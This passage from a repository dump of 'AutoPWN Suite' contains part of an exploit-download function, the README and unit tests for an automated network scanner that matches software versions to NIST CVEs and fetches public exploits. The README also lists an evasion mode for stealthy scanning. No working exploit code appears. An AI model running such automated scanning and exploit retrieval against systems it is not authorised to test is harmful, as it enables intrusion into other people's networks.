[red]{str(CVE)}[/red]\n│") 112 | 113 | for exploit in Exploits: 114 | content, filename = GetExploitContents(exploit.Link, log) 115 | if content is None: 116 | continue 117 | 118 | if not exists(f"exploits/{SoftwareName}"): 119 | mkdir(f"exploits/{SoftwareName}") 120 | 121 | if not exists(f"exploits/{SoftwareName}/{CVE}"): 122 | mkdir(f"exploits/{SoftwareName}/{CVE}") 123 | 124 | with open(f"exploits/{SoftwareName}/{CVE}/{filename}", "wb") as exploitfile: 125 | console.print( 126 | f"├──────────# [white]exploits/{SoftwareName}/{CVE}/{filename}[/white]\n" 127 | + f"│\t\t [cyan]Platform: [/cyan] {exploit.Platform}\n" 128 | + f"│\t\t [cyan]Type: [/cyan] {exploit.Type}\n" 129 | + f"│\t\t [cyan]Author: [/cyan] {exploit.Author}\n" 130 | + f"│\t\t [cyan]Date: [/cyan] [bright_cyan]{exploit.PublishDate}[/bright_cyan]\n" 131 | + f"│\t\t [cyan]Metasploit: [/cyan] {exploit.Metasploit}\n" 132 | + f"│\t\t [cyan]Verified: [/cyan]{exploit.Verified}\n" 133 | + f"│\t\t [cyan]Link: [/cyan] {exploit.Link}\n│" 134 | ) 135 | exploitfile.write(content) 136 | 137 | if SoftwareName in printed_software: 138 | console.print("└" + "─" * (term_width - 1) + "\n") 139 | 140 | 141 | def GetExploitsFromArray(VulnsArray, log, console, console2, target=None) -> None: 142 | if target: 143 | banner(f"Downloading exploits for {target}...", "blue", console) 144 | else: 145 | banner(f"Downloading exploits...", "blue", console) 146 | 147 | with console2.status( 148 | "[red]Downloading exploits ...[/red]", spinner="bouncingBar" 149 | ) as status: 150 | for vulnerability in VulnsArray: 151 | status.start() 152 | status.update( 153 | f"[white]Downloading exploits for[/white] " 154 | + f"[red]{vulnerability.title}[/red] [white]...[/white]" 155 | ) 156 | try: 157 | GetExploitAsFile(vulnerability, log, console, status) 158 | except KeyboardInterrupt: 159 | log.logger("warning", f"Skipping exploits for {vulnerability.title}") 160 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AutoPWN Suite 2 | 3 | AutoPWN Suite is a project for scanning vulnerabilities and exploiting systems automatically. 4 | 5 | ![GitHub Top Language](https://img.shields.io/github/languages/top/GamehunterKaan/AutoPWN-Suite) 6 | ![Repo Size](https://img.shields.io/github/repo-size/GamehunterKaan/AutoPWN-Suite) 7 | [![Tests](https://github.com/GamehunterKaan/AutoPWN-Suite/actions/workflows/tests.yml/badge.svg)](https://github.com/GamehunterKaan/AutoPWN-Suite/actions/workflows/tests.yml) 8 | ![GitHub Contributors](https://img.shields.io/github/contributors/GamehunterKaan/AutoPWN-Suite) 9 | ![GitHub Closed Pull Requests](https://img.shields.io/github/issues-pr-closed/GamehunterKaan/AutoPWN-Suite) 10 | ![GitHub Closed Issues](https://img.shields.io/github/issues-closed-raw/GamehunterKaan/AutoPWN-Suite) 11 | ![GitHub Repo Stars](https://img.shields.io/github/stars/GamehunterKaan/AutoPWN-Suite?style=social) 12 | ![Banner](https://raw.githubusercontent.com/GamehunterKaan/AutoPWN-Suite/main/images/banner.png) 13 | 14 | 15 | ## Features 16 | - Fully [automatic!](#usage) 17 | - Detect network IP range without any user input. 18 | - Vulnerability detection based on version. 19 | - Web app vulnerability testing. (LFI, XSS, SQLI) 20 | - Web app dirbusting. 21 | - Get information about the vulnerability right from your terminal. 22 | - Automatically download exploit related with vulnerability. 23 | - Noise mode for creating a noise on the network. 24 | - Evasion mode for being sneaky. 25 | - Automatically decide which scan types to use based on privilege. 26 | - Easy to read output. 27 | - Specify your arguments using a config file. 28 | - Send scan results via webhook or email. 29 | - Works on Windows, MacOS and Linux. 30 | - Use as a [module!](#module-usage) 31 | - Use as a [Daemon](#install-daemon) to periodically scan the network. 32 | 33 | 34 | ## How does it work? 35 | 36 | AutoPWN Suite uses nmap TCP-SYN scan to enumerate the host and detect the version of softwares running on it. After gathering enough information about the host, AutoPWN Suite automatically generates a list of "keywords" to search [NIST vulnerability database.](https://www.nist.gov/) 37 | 38 | 39 | ## Demo 40 | 41 | AutoPWN Suite has a very user friendly easy to read output. 42 | 43 | [![asciicast](https://asciinema.org/a/509345.svg)](https://asciinema.org/a/509345) 44 | 45 | 46 | ## Installation 47 | 48 | ### Windows 49 | ```bash 50 | git clone https://github.com/GamehunterKaan/AutoPWN-Suite.git 51 | cd AutoPWN-Suite 52 | pip install -r requirements.txt 53 | ``` 54 | 55 | ### Linux 56 | For a system-wide installation on Linux (which requires root privileges), use the provided installation script. (Recommended) 57 | ```bash 58 | # Install as root 59 | sudo bash install.sh 60 | # Uninstall 61 | sudo bash uninstall.sh 62 | ``` 63 | 64 | You can clone the repo and create a virtual environment. This installation method can be used for non-root installation in Linux. 65 | ```bash 66 | git clone https://github.com/GamehunterKaan/AutoPWN-Suite.git 67 | cd AutoPWN-Suite 68 | python3 -m venv .venv 69 | source .venv/bin/activate 70 | pip install -r requirements.txt 71 | ``` 72 | 73 | 74 | ### Docker 75 | You can use the [docker image.](https://github.com/GamehunterKaan/AutoPWN-Suite/pull/42) 76 | ```bash 77 | docker pull gamehunterkaan/autopwn-suite 78 | docker run -it gamehunterkaan/autopwn-suite 79 | ``` 80 | 81 | ### Cloud 82 | You can use Google Cloud Shell. 83 | 84 | [![Open in Cloud Shell](https://gstatic.com/cloudssh/images/open-btn.svg)](https://shell.cloud.google.com/cloudshell/editor?cloudshell_git_repo=https://github.com/GamehunterKaan/AutoPWN-Suite.git) 85 | 86 | 87 | ## Usage 88 | 89 | Running with root privileges (sudo) is always recommended. 90 | 91 | #### Automatic Mode 92 | 93 | ```console 94 | autopwn-suite -y 95 | ``` 96 | 97 | #### Scan a Specific Target 98 | 99 | ```console 100 | autopwn-suite -t 101 | ``` 102 | 103 | #### Change Scanning Speed 104 | 105 | ```console 106 | autopwn-suite -s <1, 2, 3, 4, 5> 107 | ``` 108 | 109 | #### Change Scanning Mode 110 | 111 | ```console 112 | autopwn-suite -m 113 | ``` 114 | 115 | For more details about usage and flags use `-h` flag. 116 | 117 | #### Install Daemon 118 | ```console 119 | autopwn-suite --daemon-install 120 | ``` 121 | 122 | ## Module Usage 123 | 124 | ```python 125 | from autopwn_suite.api import AutoScanner 126 | 127 | scanner = AutoScanner() 128 | json_results = scanner.scan("192.168.0.1") 129 | scanner.save_to_file("autopwn.json") 130 | ``` 131 | 132 | 133 | 134 | ## Development and Testing 135 | 136 | You can use poetry to install dependencies and run tests. 137 | 138 | #### Installing dependencies 139 | ```console 140 | poetry install 141 | ``` 142 | 143 | #### Running Tests 144 | ```console 145 | # Run all tests with coverage 146 | poetry run test 147 | 148 | # Run tests without coverage 149 | poetry run test --no-cov 150 | 151 | # Run only unit tests 152 | poetry run test -m unit 153 | 154 | # Run only integration tests 155 | poetry run test -m integration 156 | 157 | # Run tests excluding slow tests 158 | poetry run test -m "not slow" 159 | ``` 160 | 161 | ## Contributing to AutoPWN Suite 162 | 163 | I would be glad if you are willing to contribute this project. I am looking forward to merge your pull request unless its something that is not needed or just a personal preference. Also minor changes and bug fixes will not be merged. Please create an issue for those and I will do it myself. [Click here for more info!](https://github.com/GamehunterKaan/AutoPWN-Suite/blob/main/.github/CONTRIBUTING.md) 164 | 165 | 166 | ## Legal 167 | 168 | You may not rent or lease, distribute, modify, sell or transfer the software to a third party. AutoPWN Suite is free for distribution, and modification with the condition that credit is provided to the creator and not used for commercial use. You may not use software for illegal or nefarious purposes. No liability for consequential damages to the maximum extent permitted by all applicable laws. 169 | 170 | 171 | ## Support or Contact 172 | 173 | Having trouble using this tool? You can [create an issue](https://github.com/GamehunterKaan/AutoPWN-Suite/issues/new/choose) or [create a discussion!](https://github.com/GamehunterKaan/AutoPWN-Suite/discussions) 174 | -------------------------------------------------------------------------------- /tests/unit/test_searchvuln.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the searchvuln module. 3 | """ 4 | from unittest.mock import MagicMock, patch 5 | 6 | import pytest 7 | 8 | from modules.searchvuln import ( 9 | GenerateKeyword, 10 | SearchKeyword, 11 | GenerateKeywords, 12 | SearchSploits, 13 | VulnerableSoftware, 14 | ) 15 | 16 | 17 | @pytest.mark.unit 18 | class TestGenerateKeyword: 19 | """Tests for the GenerateKeyword function.""" 20 | 21 | @pytest.mark.parametrize( 22 | "product, version, expected", 23 | [ 24 | ("Apache httpd", "2.4.41", "Apache httpd 2.4.41"), 25 | ("OpenSSH", "8.2p1", "OpenSSH 8.2p1"), 26 | ("vsftpd", "3.0.3", "vsftpd 3.0.3"), 27 | ("Product", "Unknown", ""), 28 | ("Unknown", "1.0", ""), 29 | ], 30 | ) 31 | def test_generate_keyword_valid(self, product, version, expected): 32 | """Verify keyword generation for valid inputs.""" 33 | assert GenerateKeyword(product, version) == expected 34 | 35 | def test_generate_keyword_ignored_product(self): 36 | """Verify that ignored products (like 'http') return an empty string.""" 37 | assert GenerateKeyword("http", "1.1") == "" 38 | 39 | 40 | @pytest.mark.unit 41 | class TestSearchSploitsFunctions: 42 | """Tests for the main vulnerability searching logic.""" 43 | 44 | def test_generate_keywords_from_host_array(self): 45 | """Verify that a list of unique keywords is generated from a host array.""" 46 | host_array = [ 47 | ["192.168.1.1", 80, "http", "Apache httpd", "2.4.41"], 48 | ["192.168.1.1", 22, "ssh", "OpenSSH", "8.2p1"], 49 | ["192.168.1.1", 443, "https", "Apache httpd", "2.4.41"], # Duplicate 50 | ["192.168.1.1", 21, "ftp", "vsftpd", "3.0.3"], 51 | ["192.168.1.1", 25, "smtp", "Unknown", "1.0"], # Should be ignored 52 | ] 53 | expected_keywords = ["Apache httpd 2.4.41", "OpenSSH 8.2p1", "vsftpd 3.0.3"] 54 | 55 | keywords = GenerateKeywords(host_array) 56 | 57 | assert sorted(keywords) == sorted(expected_keywords) 58 | 59 | @patch("modules.searchvuln.CheckConnection", return_value=False) 60 | def test_searchsploits_no_connection(self, mock_check_connection): 61 | """Verify SearchSploits exits if there is no internet connection.""" 62 | # Provide a non-empty HostArray to prevent an IndexError before the check. 63 | host_array = [["192.168.1.1"]] 64 | result = SearchSploits(host_array, MagicMock(), MagicMock(), MagicMock()) 65 | assert result == [] 66 | mock_check_connection.assert_called_once() 67 | 68 | @patch("modules.searchvuln.CheckConnection", return_value=True) 69 | @patch("modules.searchvuln.GenerateKeywords", return_value=[]) 70 | def test_searchsploits_no_keywords(self, mock_gen_keywords, mock_check_connection): 71 | """Verify SearchSploits logs a warning if no keywords are generated.""" 72 | mock_log = MagicMock() 73 | host_array = [["192.168.1.1", 80, "http", "nginx", "1.18.0"]] 74 | 75 | result = SearchSploits(host_array, mock_log, MagicMock(), MagicMock()) 76 | 77 | assert result == [] 78 | mock_log.logger.assert_called_with("warning", "Insufficient information for 192.168.1.1") 79 | 80 | @patch("modules.searchvuln.CheckConnection", return_value=True) 81 | @patch("modules.searchvuln.SearchKeyword") 82 | def test_searchsploits_success_path(self, mock_search_keyword, mock_check_connection): 83 | """Verify the success path of searching for and printing vulnerabilities.""" 84 | mock_console = MagicMock() 85 | mock_console2 = MagicMock() 86 | mock_log = MagicMock() 87 | host_array = [["192.168.1.1", 21, "ftp", "vsftpd", "2.3.4"]] 88 | 89 | # Mock the return from the NIST search 90 | mock_vuln = MagicMock() 91 | mock_vuln.CVEID = "CVE-2011-2523" 92 | mock_vuln.description = "vsftpd 2.3.4 contains a backdoor." 93 | mock_vuln.severity = "CRITICAL" 94 | mock_vuln.severity_score = 10.0 95 | mock_search_keyword.return_value = [mock_vuln] 96 | 97 | result = SearchSploits(host_array, mock_log, mock_console, mock_console2) 98 | 99 | # Verify the banner and results were printed 100 | mock_console.print.assert_called() 101 | # Verify a VulnerableSoftware object was created and returned 102 | assert len(result) == 1 103 | assert isinstance(result[0], VulnerableSoftware) 104 | assert result[0].title == "vsftpd 2.3.4" 105 | assert "CVE-2011-2523" in result[0].CVEs 106 | 107 | 108 | @pytest.mark.unit 109 | class TestSearchKeyword: 110 | """Tests for the SearchKeyword function.""" 111 | 112 | @patch("modules.searchvuln.searchCVE") 113 | def test_search_keyword_success(self, mock_search_cve): 114 | """Verify it returns the result from searchCVE on success.""" 115 | mock_log = MagicMock() 116 | mock_vulnerability = MagicMock() 117 | mock_search_cve.return_value = [mock_vulnerability] 118 | 119 | result = SearchKeyword("test keyword", mock_log) 120 | 121 | assert result == [mock_vulnerability] 122 | mock_search_cve.assert_called_once_with("test keyword", mock_log, None) 123 | 124 | @patch("modules.searchvuln.searchCVE", side_effect=KeyboardInterrupt) 125 | def test_search_keyword_keyboard_interrupt(self, mock_search_cve): 126 | """Verify it handles KeyboardInterrupt gracefully.""" 127 | mock_log = MagicMock() 128 | keyword = "test keyword" 129 | 130 | result = SearchKeyword(keyword, mock_log) 131 | 132 | assert result == [] 133 | mock_log.logger.assert_called_once_with("warning", f"Skipped vulnerability detection for {keyword}") 134 | 135 | @patch("modules.searchvuln.searchCVE") 136 | def test_search_keyword_generic_exception(self, mock_search_cve): 137 | """Verify it handles generic exceptions gracefully.""" 138 | mock_log = MagicMock() 139 | test_exception = Exception("Generic error") 140 | mock_search_cve.side_effect = test_exception 141 | 142 | result = SearchKeyword("test keyword", mock_log) 143 | 144 | assert result == [] 145 | mock_log.logger.assert_called_once_with("error", test_exception) -------------------------------------------------------------------------------- /tests/unit/test_nist_search.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the nist_search module. 3 | """ 4 | from unittest.mock import MagicMock, patch 5 | 6 | import pytest 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.nist_search import searchCVE, Vulnerability, cache, FindVars 10 | 11 | 12 | @pytest.mark.unit 13 | class TestSearchCVE: 14 | """Tests for the searchCVE function.""" 15 | 16 | @pytest.fixture 17 | def clear_cache(self): 18 | """A fixture to clear the nist_search cache before each test.""" 19 | cache.clear() 20 | yield 21 | 22 | @pytest.fixture 23 | def mock_log(self): 24 | """Fixture for a mocked logger.""" 25 | return MagicMock() 26 | 27 | @patch("modules.nist_search.get") 28 | def test_search_cve_success(self, mock_get, mock_log, clear_cache): 29 | """Verify a successful API call is parsed correctly.""" 30 | mock_response = MagicMock() 31 | mock_response.json.return_value = { 32 | "vulnerabilities": [ 33 | { 34 | "cve": { 35 | "id": "CVE-2023-1234", 36 | "descriptions": [{"lang": "en", "value": "Test description."}], 37 | "metrics": { 38 | "cvssMetricV31": [ 39 | { 40 | "cvssData": {"baseScore": 9.8, "baseSeverity": "CRITICAL"}, 41 | "exploitabilityScore": 3.9, 42 | } 43 | ] 44 | }, 45 | } 46 | } 47 | ] 48 | } 49 | mock_get.return_value = mock_response 50 | 51 | results = searchCVE("keyword", mock_log, "test-api-key") 52 | 53 | assert len(results) == 1 54 | cve = results[0] 55 | assert isinstance(cve, Vulnerability) 56 | assert cve.CVEID == "CVE-2023-1234" 57 | assert cve.description == "Test description." 58 | assert cve.severity == "CRITICAL" 59 | assert cve.severity_score == 9.8 60 | assert cve.exploitability == 3.9 61 | 62 | @patch("modules.nist_search.get") 63 | def test_search_cve_no_results(self, mock_get, mock_log, clear_cache): 64 | """Verify it returns an empty list when no vulnerabilities are found.""" 65 | mock_response = MagicMock() 66 | mock_response.json.return_value = {"vulnerabilities": []} 67 | mock_get.return_value = mock_response 68 | 69 | results = searchCVE("keyword", mock_log, "test-api-key") 70 | assert results == [] 71 | 72 | @patch("modules.nist_search.get") 73 | def test_search_cve_rate_limit(self, mock_get, mock_log, clear_cache): 74 | """Verify it handles a 403 rate-limit error.""" 75 | mock_response_403 = MagicMock() 76 | mock_response_403.status_code = 403 77 | mock_response_403.json.side_effect = ValueError("JSON decode error") 78 | 79 | mock_response_ok = MagicMock() 80 | mock_response_ok.json.return_value = {"vulnerabilities": []} 81 | 82 | # The app will retry 3 times. Fail twice, then succeed. 83 | mock_get.side_effect = [mock_response_403, mock_response_403, mock_response_ok] 84 | 85 | results = searchCVE("keyword", mock_log, "test-api-key") 86 | assert results == [] 87 | # Assert against the actual message logged by the application 88 | mock_log.logger.assert_any_call( 89 | "error", "Requests are being rate limited by NIST API, please get a NIST API key to prevent this." 90 | ) 91 | 92 | @patch("modules.nist_search.get") 93 | def test_search_cve_connection_error(self, mock_get, mock_log, clear_cache): 94 | """Verify it handles a connection error gracefully.""" 95 | # To work around the UnboundLocalError bug, we simulate failure on the 96 | # first two retries and success on the third. 97 | mock_bad_response = MagicMock() 98 | mock_bad_response.status_code = 503 # Service Unavailable 99 | mock_bad_response.json.side_effect = ValueError("JSON decode error") 100 | 101 | mock_ok_response = MagicMock() 102 | mock_ok_response.json.return_value = {"vulnerabilities": []} 103 | 104 | mock_get.side_effect = [mock_bad_response, mock_bad_response, mock_ok_response] 105 | 106 | results = searchCVE("keyword", mock_log, "test-api-key") 107 | assert results == [] 108 | 109 | @pytest.mark.unit 110 | class TestFindVars: 111 | """Tests for the FindVars function.""" 112 | 113 | def test_find_vars_with_cvss_v3(self): 114 | """Verify it parses CVSS v3.1 data correctly.""" 115 | vuln_data = { 116 | "cve": { 117 | "id": "CVE-TEST-V3", 118 | "descriptions": [{"value": "V3 Test"}], 119 | "metrics": { 120 | "cvssMetricV31": [{"exploitabilityScore": 8.8, "cvssData": {"baseScore": 9.8, "baseSeverity": "CRITICAL"}}] 121 | }, 122 | } 123 | } 124 | cve_id, desc, severity, score, url, exploitability = FindVars(vuln_data) 125 | assert cve_id == "CVE-TEST-V3" 126 | assert severity == "CRITICAL" 127 | assert score == 9.8 128 | assert exploitability == 8.8 129 | 130 | def test_find_vars_with_cvss_v2_fallback(self): 131 | """Verify it falls back to CVSS v2 data if v3 is not present.""" 132 | vuln_data = { 133 | "cve": { 134 | "id": "CVE-TEST-V2", 135 | "descriptions": [{"value": "V2 Test"}], 136 | "metrics": { 137 | "cvssMetricV2": [{"exploitabilityScore": 10.0, "cvssData": {"baseScore": 7.5, "baseSeverity": "HIGH"}}] 138 | }, 139 | } 140 | } 141 | cve_id, desc, severity, score, url, exploitability = FindVars(vuln_data) 142 | assert cve_id == "CVE-TEST-V2" 143 | assert severity == "HIGH" 144 | assert score == 7.5 145 | assert exploitability == 10.0 146 | 147 | def test_find_vars_with_no_metrics(self): 148 | """Verify it handles missing metrics gracefully.""" 149 | vuln_data = { 150 | "cve": {"id": "CVE-TEST-NOMETRICS", "descriptions": [{"value": "No Metrics Test"}]} 151 | } 152 | cve_id, desc, severity, score, url, exploitability = FindVars(vuln_data) 153 | assert severity == "UNKNOWN" 154 | assert score == 0.0 155 | assert exploitability == 0.0 156 | 157 | def test_find_vars_with_empty_metrics(self): 158 | """Verify it handles an empty metrics dictionary.""" 159 | vuln_data = { 160 | "cve": {"id": "CVE-TEST-EMPTY", "descriptions": [{"value": "Empty Metrics Test"}], "metrics": {}} 161 | } 162 | cve_id, desc, severity, score, url, exploitability = FindVars(vuln_data) 163 | assert severity == "UNKNOWN" 164 | assert score == 0.0 165 | assert exploitability == 0.0 -------------------------------------------------------------------------------- /tests/unit/test_report.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the report module. 3 | """ 4 | import smtplib 5 | from unittest.mock import MagicMock, mock_open, patch 6 | 7 | import pytest 8 | from requests.exceptions import HTTPError 9 | 10 | from modules.report import ( 11 | InitializeEmailReport, 12 | InitializeReport, 13 | InitializeWebhookReport, 14 | ReportMail, 15 | ReportType, 16 | SendEmail, 17 | SendWebhook, 18 | ) 19 | 20 | 21 | @pytest.mark.unit 22 | class TestSendMail: 23 | """Tests for the SendMail function.""" 24 | 25 | @patch("modules.report.SMTP") 26 | @patch("modules.report.open", new_callable=mock_open, read_data="

Test

") 27 | def test_send_mail_success(self, mock_file, mock_smtp): 28 | """Verify that an email is sent correctly on success.""" 29 | mock_server = MagicMock() 30 | mock_smtp.return_value = mock_server 31 | 32 | mock_log = MagicMock() 33 | 34 | SendEmail( 35 | "user@example.com", "password", "to@example.com", "from@example.com", "smtp.example.com", 465, mock_log 36 | ) 37 | 38 | mock_server.login.assert_called_once_with("user@example.com", "password") 39 | mock_server.sendmail.assert_called_once() 40 | mock_log.logger.assert_called_with("success", "Email report sent successfully.") 41 | # Verify it tried to open the temp report file 42 | mock_file.assert_called_with("tmp_report.html", "rb") 43 | 44 | @patch("modules.report.SMTP") 45 | @patch("modules.report.open", new_callable=mock_open, read_data="

Test

") 46 | def test_send_mail_auth_error(self, mock_file, mock_smtp): 47 | """Verify that an authentication error is handled.""" 48 | mock_server = MagicMock() 49 | mock_server.login.side_effect = smtplib.SMTPAuthenticationError(1, "failed") 50 | mock_smtp.return_value = mock_server 51 | 52 | report_obj = ReportMail("user", "wrongpass", "to", "from", "server", 465) 53 | mock_log = MagicMock() 54 | 55 | with pytest.raises(smtplib.SMTPAuthenticationError): 56 | SendEmail(report_obj.email, report_obj.password, report_obj.email_to, report_obj.email_from, report_obj.server, report_obj.port, mock_log) 57 | 58 | @patch("modules.report.SMTP") 59 | @patch("modules.report.open", new_callable=mock_open, read_data="

Test

") 60 | def test_send_mail_smtp_error(self, mock_file, mock_smtp): 61 | """Verify that a generic SMTP error during sendmail is handled.""" 62 | mock_server = MagicMock() 63 | # Simulate an error during the sendmail call 64 | mock_server.sendmail.side_effect = smtplib.SMTPException("Send failed") 65 | mock_smtp.return_value = mock_server 66 | 67 | mock_log = MagicMock() 68 | 69 | SendEmail("user", "pass", "to", "from", "server", 465, mock_log) 70 | 71 | # Verify the error was logged 72 | mock_log.logger.assert_called_with("error", "An error occured while trying to send email report.") 73 | 74 | 75 | @pytest.mark.unit 76 | class TestSendWebhook: 77 | """Tests for the SendWebhook function.""" 78 | 79 | @patch("modules.report.post") 80 | @patch("modules.report.open", new_callable=mock_open, read_data="report content") 81 | def test_send_webhook_success(self, mock_file, mock_post): 82 | """Verify that a webhook is sent correctly on success.""" 83 | mock_response = MagicMock() 84 | mock_response.status_code = 200 85 | mock_post.return_value = mock_response 86 | 87 | webhook_url = "https://example.com/webhook" 88 | mock_log = MagicMock() 89 | 90 | SendWebhook(webhook_url, mock_log) 91 | 92 | # Verify it tried to open the temp report file 93 | mock_file.assert_called_with("report.log", "r", encoding="utf-8") 94 | assert "files" in mock_post.call_args.kwargs 95 | mock_log.logger.assert_called_with("success", "Webhook report sent succesfully.") 96 | 97 | @patch("modules.report.post") 98 | @patch("modules.report.open", new_callable=mock_open, read_data="report content") 99 | def test_send_webhook_http_error(self, mock_file, mock_post): 100 | """Verify that an HTTP error is handled.""" 101 | mock_response = MagicMock() 102 | mock_response.status_code = 404 103 | mock_post.return_value = mock_response 104 | mock_log = MagicMock() 105 | 106 | SendWebhook("url", mock_log) # mock_post is the first argument, so this is fine 107 | 108 | mock_log.logger.assert_any_call("error", "Webhook report failed to send.") 109 | 110 | @patch("modules.report.post", side_effect=ConnectionError("Test connection error")) 111 | @patch("modules.report.open", new_callable=mock_open, read_data="report content") 112 | def test_send_webhook_connection_error(self, mock_file, mock_post): 113 | """Verify that a connection error is handled.""" 114 | mock_log = MagicMock() 115 | 116 | SendWebhook("url", mock_log) 117 | 118 | # Verify the generic "failed to send" message is logged 119 | mock_log.logger.assert_any_call("error", "Webhook report failed to send.") 120 | 121 | # Verify the exception itself was also logged by checking all calls 122 | exception_logged = any(isinstance(call.args[1], ConnectionError) for call in mock_log.logger.call_args_list) 123 | assert exception_logged, "ConnectionError was not logged" 124 | 125 | 126 | @pytest.mark.unit 127 | class TestInitializeReport: 128 | """Tests for the InitializeReport function.""" 129 | 130 | @patch("modules.report.InitializeEmailReport") 131 | def test_initialize_report_email(self, mock_init_email, mock_rich_console): 132 | """Verify InitializeReport calls SendMail for email reports.""" 133 | report_obj = MagicMock() 134 | mock_log = MagicMock() 135 | InitializeReport(ReportType.EMAIL, report_obj, mock_log, mock_rich_console) 136 | mock_init_email.assert_called_once_with(report_obj, mock_log, mock_rich_console) 137 | 138 | @patch("modules.report.InitializeWebhookReport") 139 | def test_initialize_report_webhook(self, mock_init_webhook, mock_rich_console): 140 | """Verify InitializeReport calls SendWebhook for webhook reports.""" 141 | report_obj = "https://example.com/webhook" 142 | mock_log = MagicMock() 143 | InitializeReport(ReportType.WEBHOOK, report_obj, mock_log, mock_rich_console) 144 | mock_init_webhook.assert_called_once_with(report_obj, mock_log, mock_rich_console) 145 | 146 | def test_initialize_report_none(self, mock_rich_console): 147 | """Verify InitializeReport does nothing for ReportType.NONE.""" 148 | with patch("modules.report.InitializeEmailReport") as mock_init_email, \ 149 | patch("modules.report.InitializeWebhookReport") as mock_init_webhook: 150 | 151 | InitializeReport(ReportType.NONE, None, MagicMock(), mock_rich_console) 152 | 153 | mock_init_email.assert_not_called() 154 | mock_init_webhook.assert_not_called() 155 | 156 | @patch("modules.report.SendEmail") 157 | @patch("modules.report.remove") 158 | def test_initialize_email_report(self, mock_remove, mock_send_email, mock_rich_console): 159 | """Verify InitializeEmailReport saves HTML and calls SendEmail.""" 160 | report_obj = ReportMail("user", "pass", "to", "from", "server", 123) 161 | mock_log = MagicMock() 162 | InitializeEmailReport(report_obj, mock_log, mock_rich_console) 163 | mock_rich_console.save_html.assert_called_once_with("tmp_report.html") 164 | mock_send_email.assert_called_once() 165 | 166 | @patch("modules.report.SendWebhook") 167 | @patch("modules.report.remove") 168 | def test_initialize_webhook_report(self, mock_remove, mock_send_webhook, mock_rich_console): 169 | """Verify InitializeWebhookReport saves text and calls SendWebhook.""" 170 | webhook_url = "https://example.com/webhook" 171 | mock_log = MagicMock() 172 | InitializeWebhookReport(webhook_url, mock_log, mock_rich_console) 173 | mock_rich_console.save_text.assert_called_once_with("report.log") 174 | mock_send_webhook.assert_called_once_with(webhook_url, mock_log) -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import tempfile 4 | import shutil 5 | from pathlib import Path 6 | from unittest.mock import MagicMock, Mock 7 | import pytest 8 | 9 | # Add the project root to the Python path 10 | PROJECT_ROOT = Path(__file__).parent.parent 11 | sys.path.insert(0, str(PROJECT_ROOT)) 12 | 13 | 14 | @pytest.fixture 15 | def temp_dir(): 16 | """Create a temporary directory for test files.""" 17 | temp_path = tempfile.mkdtemp() 18 | yield Path(temp_path) 19 | # Cleanup after test 20 | shutil.rmtree(temp_path, ignore_errors=True) 21 | 22 | 23 | @pytest.fixture 24 | def temp_file(temp_dir): 25 | """Create a temporary file within the temp directory.""" 26 | def _create_temp_file(filename="test_file.txt", content=""): 27 | file_path = temp_dir / filename 28 | file_path.write_text(content) 29 | return file_path 30 | return _create_temp_file 31 | 32 | 33 | @pytest.fixture 34 | def mock_config(): 35 | """Provide a mock configuration object.""" 36 | config = MagicMock() 37 | config.target = "192.168.1.1" 38 | config.port = 80 39 | config.timeout = 5 40 | config.threads = 10 41 | config.verbose = False 42 | config.output = "autopwn_test.log" 43 | return config 44 | 45 | 46 | @pytest.fixture 47 | def mock_scanner(): 48 | """Provide a mock scanner object.""" 49 | scanner = Mock() 50 | scanner.scan = Mock(return_value={ 51 | "scan": { 52 | "192.168.1.1": { 53 | "tcp": { 54 | 80: {"state": "open", "name": "http"}, 55 | 443: {"state": "open", "name": "https"}, 56 | 22: {"state": "closed", "name": "ssh"} 57 | } 58 | } 59 | } 60 | }) 61 | return scanner 62 | 63 | 64 | @pytest.fixture 65 | def mock_requests(monkeypatch): 66 | """Mock the requests library.""" 67 | mock = Mock() 68 | mock.get = Mock() 69 | mock.post = Mock() 70 | mock.Session = Mock() 71 | monkeypatch.setattr("requests", mock) 72 | return mock 73 | 74 | 75 | @pytest.fixture 76 | def sample_vulnerability_data(): 77 | """Provide sample vulnerability data for testing.""" 78 | return { 79 | "CVE-2021-44228": { 80 | "description": "Apache Log4j2 vulnerability", 81 | "severity": "CRITICAL", 82 | "cvss_score": 10.0, 83 | "affected_versions": ["2.0-beta9 to 2.14.1"], 84 | "references": ["https://nvd.nist.gov/vuln/detail/CVE-2021-44228"] 85 | }, 86 | "CVE-2014-0160": { 87 | "description": "OpenSSL Heartbleed vulnerability", 88 | "severity": "HIGH", 89 | "cvss_score": 7.5, 90 | "affected_versions": ["1.0.1 to 1.0.1f"], 91 | "references": ["https://nvd.nist.gov/vuln/detail/CVE-2014-0160"] 92 | } 93 | } 94 | 95 | 96 | @pytest.fixture 97 | def sample_exploit_data(): 98 | """Provide sample exploit data for testing.""" 99 | return [ 100 | { 101 | "id": "12345", 102 | "name": "Apache Log4j2 RCE", 103 | "cve": ["CVE-2021-44228"], 104 | "platform": "java", 105 | "verified": True, 106 | "published": "2021-12-10" 107 | }, 108 | { 109 | "id": "67890", 110 | "name": "OpenSSL Heartbleed Memory Disclosure", 111 | "cve": ["CVE-2014-0160"], 112 | "platform": "linux", 113 | "verified": True, 114 | "published": "2014-04-07" 115 | } 116 | ] 117 | 118 | 119 | @pytest.fixture 120 | def mock_nmap_result(): 121 | """Provide a mock nmap scan result.""" 122 | return { 123 | "nmap": { 124 | "command_line": "nmap -sV -sC 192.168.1.1", 125 | "scaninfo": {"tcp": {"method": "syn", "services": "1-65535"}}, 126 | "scanstats": { 127 | "timestr": "Mon Jan 01 00:00:00 2024", 128 | "elapsed": "10.50", 129 | "uphosts": "1", 130 | "downhosts": "0", 131 | "totalhosts": "1" 132 | } 133 | }, 134 | "scan": { 135 | "192.168.1.1": { 136 | "hostnames": [{"name": "test-host.local", "type": "PTR"}], 137 | "addresses": {"ipv4": "192.168.1.1"}, 138 | "vendor": {}, 139 | "status": {"state": "up", "reason": "syn-ack"}, 140 | "tcp": { 141 | 80: { 142 | "state": "open", 143 | "reason": "syn-ack", 144 | "name": "http", 145 | "product": "Apache httpd", 146 | "version": "2.4.41", 147 | "extrainfo": "(Ubuntu)", 148 | "conf": "10", 149 | "cpe": "cpe:/a:apache:http_server:2.4.41" 150 | } 151 | } 152 | } 153 | } 